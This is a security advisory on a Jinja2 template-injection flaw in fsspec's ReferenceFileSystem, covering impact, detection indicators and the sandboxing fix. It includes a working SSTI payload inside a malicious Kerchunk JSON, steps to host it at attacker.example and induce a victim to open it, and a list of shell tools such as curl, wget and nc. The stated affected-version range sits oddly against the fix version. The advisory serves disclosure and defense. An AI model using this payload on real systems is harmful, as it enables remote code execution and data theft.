CVE-2026-104851: 
Python vulnerability analysis and mitigation

CVE-2026-104851 is a Server-Side Template Injection (SSTI) vulnerability in the fsspec Python library's ReferenceFileSystem implementation that enables remote code execution. Affecting all versions from 0.9.0 through 2025.10.0, the flaw was introduced in March 2021 and disclosed publicly on September 1, 2026, with a fix released in version 2026.6.0. The vulnerability carries a CVSS v3.1 base score of 8.8 (High) (GitHub Advisory, Red Hat). IBM App Connect Enterprise Certified Container is also listed as an affected product (IBM Advisory).

The root cause is improper neutralization of special elements used in a Jinja2 template engine (CWE-94, CWE-1336). fsspec.implementations.reference.ReferenceFileSystem parses Kerchunk-format reference JSON documents and passes attacker-controlled string fields directly to unsandboxed jinja2.Template(...).render(...) calls in three sinks within fsspec/implementations/reference.py: Sink A (_render_jinja, lines 1016–1018), Sink B (_process_templates lambda, lines 1043–1053), and Sink C (_process_gen, lines 1075–1083). Sink C is the most critical — it is triggered unconditionally whenever the reference JSON contains a gen array, regardless of the simple_templates setting. An attacker exploits this by embedding Jinja2 SSTI payloads (e.g., {{ joiner.__init__.__globals__.os.popen('cmd').read() }}) in the key, url, offset, or length fields of the gen array, which are then evaluated as Python code via gadget chains accessing the os module (GitHub Advisory).

Successful exploitation results in arbitrary Python code execution on the victim's machine with the privileges of the process running fsspec or xarray, before any referenced data is read. This grants full confidentiality, integrity, and availability impact — attackers can read sensitive files and environment variables, write or delete data, execute shell commands, establish reverse shells, and pivot laterally within the victim's network. The vulnerability is particularly dangerous in data-science ecosystems (Pangeo, Earth observation, climate science) where Kerchunk catalogue URLs are routinely shared and opened via xarray/dask without any expectation of code execution risk (GitHub Advisory).

A complete, runnable proof-of-concept (PoC) exploit (poc.py) is publicly available in the GitHub Security Advisory, demonstrating RCE via a minimal HTTP server hosting a malicious Kerchunk JSON document. The exploit requires no authentication and only requires the victim to open a reference filesystem pointing to an attacker-controlled URL — a common operation in data-science workflows. The EPSS score is approximately 0.00317, and there is no current evidence of in-the-wild exploitation or CISA KEV catalog listing as of the advisory date. The NVD SSVC assessment classifies exploitation status as "poc" with "total" technical impact (GitHub Advisory, Red Hat).

1. Craft malicious Kerchunk JSON: Create a reference JSON document with a gen array whose key field contains a Jinja2 SSTI payload, e.g.:

{
  "version": 1,
  "templates": {},
  "refs": {"x": "x"},
  "gen": [{
    "key": "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}/{{ i }}",
    "url": "http://example.com/{{ i }}",
    "offset": "0",
    "length": "0",
    "dimensions": {"i": [0]}
  }]
}

2. Host the malicious JSON: Serve the crafted JSON at a network-accessible URL (e.g., http://attacker.example/refs.json) using any HTTP server.
3. Induce victim to open the reference filesystem: Social-engineer or supply-chain-poison the victim into calling fsspec.filesystem('reference', fo='http://attacker.example/refs.json') or xarray.open_dataset('reference://', engine='zarr', backend_kwargs={'storage_options': {'fo': 'http://attacker.example/refs.json', ...}}).
4. Trigger _process_gen: When ReferenceFileSystem.__init__ processes the JSON, it calls _process_references1 → _process_gen upon detecting the gen array field.
5. Unsandboxed Jinja2 evaluates the payload: jinja2.Template(gen['key']).render(...) evaluates the attacker's template string, traversing joiner.__init__.__globals__ to reach the os module and execute the shell command.
6. Achieve arbitrary code execution: The shell command runs with the privileges of the victim's process, enabling reverse shells, data exfiltration, credential theft, or lateral movement (GitHub Advisory).

• Network: Outbound HTTP GET requests from data-science workloads to unexpected or external URLs ending in .json (e.g., refs.json) during dataset open operations; unexpected outbound connections from Python/Jupyter processes to attacker-controlled IPs.
• File System: Unexpected files created in /tmp/ (e.g., matching fsspec_pwned_* pattern from PoC); new scripts, cron jobs, or SSH keys written by the Python process user; unexpected modifications to environment configuration files.
• Process: Unusual child processes spawned by Python (e.g., /bin/sh, bash, curl, wget, nc) during fsspec or xarray dataset open calls; os.popen() or subprocess invocations originating from within Jinja2 template rendering context.
• Logs: Python application logs showing exceptions during ReferenceFileSystem initialization alongside unexpected external HTTP fetches; audit logs showing file creation or network connections initiated by Jupyter/notebook server processes (GitHub Advisory).

Primary remediation: Upgrade fsspec to version 2026.6.0 or later, which replaces all unsandboxed jinja2.Template(...).render(...) calls with jinja2.sandbox.SandboxedEnvironment().from_string(...).render(...) across all three vulnerable sinks (PRs #2029 and #2039, merged May 15, 2026) (fsspec PR #2029, fsspec PR #2039). Workaround: If upgrading immediately is not possible, avoid opening ReferenceFileSystem instances from untrusted or externally-sourced URLs; validate and allowlist Kerchunk JSON sources before processing. Additionally, setting simple_templates=True (the new default in the patched version) disables Jinja2 evaluation entirely for the _process_gen path. IBM App Connect Enterprise users should consult the IBM advisory for product-specific patch guidance (IBM Advisory).

The vulnerability was reported by security researcher Dany.A (DanyAssuid) and published by fsspec maintainer martindurant via the GitHub Security Advisory on September 1, 2026. The advisory explicitly draws a parallel to CVE-2024-34359 in llama-cpp-python, where the same pattern of unsandboxed Jinja2 template rendering of externally-sourced strings led to RCE, suggesting a recurring anti-pattern in the Python ML/data ecosystem. The issue received coverage on Mastodon (TheHackerWire) and Bluesky shortly after disclosure, and was picked up by Linux security roundup publications (GitHub Advisory).